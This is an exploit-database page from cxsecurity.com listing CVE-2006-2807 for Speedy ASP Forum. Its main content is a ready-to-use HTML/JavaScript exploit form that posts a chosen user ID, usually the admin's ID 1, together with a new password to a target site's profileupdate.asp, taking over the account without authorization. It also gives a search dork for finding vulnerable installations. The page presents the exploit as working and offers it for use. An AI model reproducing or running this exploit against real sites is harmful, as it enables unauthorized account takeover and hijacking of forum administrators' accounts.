Index
Bugtraq
Pełna lista
Błędy
Sztuczki
Exploity
Dorks list
Tylko z CVE
Tylko z CWE
Bogus
Ranking
CVEMAP
Świeża lista CVE
Producenci
Produkty
Słownik CWE
Sprawdź nr. CVE
Sprawdź nr. CWE
Szukaj
W Bugtraq
W bazie CVE
Po autorze
Po nr. CVE
Po nr. CWE
Po producencie
Po produkcie
RSS
Bugtraq
CVEMAP
CVE Produkty
Tylko Błędy
Tylko Exploity
Tylko Dorks
Więcej
cIFrex
Facebook
Twitter
Donate
O bazie
Lang
Polish
English
Submit
Speedy ASP Forum(profileupdate.asp) User Pass Change Exploit
2006.06.06
Credit:
ajannhwt hotmail com
Risk:
Medium
Local:
No
Remote:
Yes
CVE:
CVE-2006-2807
CWE:
CWE-Other
Ogólna skala CVSS:
10/10
Znaczenie:
10/10
Łatwość wykorzystania:
10/10
Wymagany dostęp:
Zdalny
Złożoność ataku:
Niska
Autoryzacja:
Nie wymagana
Wpływ na poufność:
Pełny
Wpływ na integralność:
Pełny
Wpływ na dostępność:
Pełny
# Title : Speedy ASP Forum(profileupdate.asp) User Pass Change Exploit # Dork : Copyright © ASPwebSoft # Author : ajann # greetz : Nukedx ###Code: Save to .htm ************************************************************************ ************************************************************* <title>Pass Change</title> <script language="JavaScript"> //Coded ajann function islemKontrol(){ if(document.InputForm.name.value=="" || document.InputForm.email.value=="" || document.InputForm.id.value=="" || document.InputForm.password.value=="" || document.InputForm.passwordre.value=="" || document.InputForm.country.options.value == 0 || document.InputForm.adres.value=="" ){ alert("Alani Bos Biraktiniz") return false } { document.InputForm.action= document.InputForm.adres.value document.InputForm.submit(); return true } } </script> <body bgcolor="#000000"> <form name = "InputForm" method = "post" onSubmit = 'return islemKontrol()'> <b><font color="#808080" face="Verdana">Speedy Forum User Pass Change // ajann</font></b><p><font face="Verdana" size="2" color="#FF0000"><b>User Name : </b></font> <input type="text" name="name" value="" size="20"> <font size="1" color="#C0C0C0" face="Arial"> Example: Surname Name</font><br> <font face="Verdana" size="2" color="#FF0000"><b>User Mail : </b></font> <input type="text" name="email" value="" size="20"> <font size="1" color="#C0C0C0" face="Arial"> Example: mail (at) domain (dot) com [email concealed]</font><br> <font face="Verdana" size="2" color="#FF0000"><b>User İd ; : </b></font> <input type="text" name="id" value="" size="20"> <font size="1" color="#C0C0C0" face="Arial"> Example: İd:1 Admin</font><br> <font face="Verdana" size="2" color="#FF0000"><b>User Country : </b> </font> <select size="1" name="country"> <option value=0>Choose Country</option> <option value="Turkey">Turkey</option> </select> <font size="1" color="#C0C0C0" face="Arial"> Example: Turkey</font><br> <b> <font face="Verdana" size="2" color="#FF0000">User </font> <font face="Verdana" size="2" color="#0000FF">Pass </font> <font face="Verdana" size="2" color="#FF0000"> : </font></b> <input type = "text" name="password" value="Password" size="20"> <font size="1" color="#C0C0C0" face="Arial"> Example: 123456</font><br> <b> <font face="Verdana" size="2" color="#FF0000">User </font> <font face="Verdana" size="2" color="#0000FF">RePass</font><font face="Verdana" size="2" color="#FF0000"> : </font></b> <input type = "text" name="passwordre" value="Re Password" size="20"> <font size="1" color="#C0C0C0" face="Arial"> Example: 123456</font><br> <font face="Verdana" size="2" color="#FF0000"><b>Form Action : </b> </font> <input type="text" name="adres" value="profileupdate.asp" size="20"> <font size="1" color="#C0C0C0" face="Arial"> Example: http://[target]/[path]/profileupdate.asp</font></p> <p> <input type = "submit" name="Submit" value="Change"> </p> <br> </form> ************************************************************************ ************************************************************* And Code
See this note in RAW Version
Tweet
Vote for this issue:
0
0
50%
50%
Thanks for you vote!
Thanks for you comment!
Your message is in quarantine 48 hours.
Comment it here.
Nick (*)
Email (*)
Video
Text (*)
(*) -
required fields.
Cancel
Submit
{{ x.nick }}
|
Date:
{{ x.ux * 1000 | date:'yyyy-MM-dd' }}
{{ x.ux * 1000 | date:'HH:mm' }}
CET+1
{{ x.comment }}
Show all comments
Copyright
2024
, cxsecurity.com
Back to Top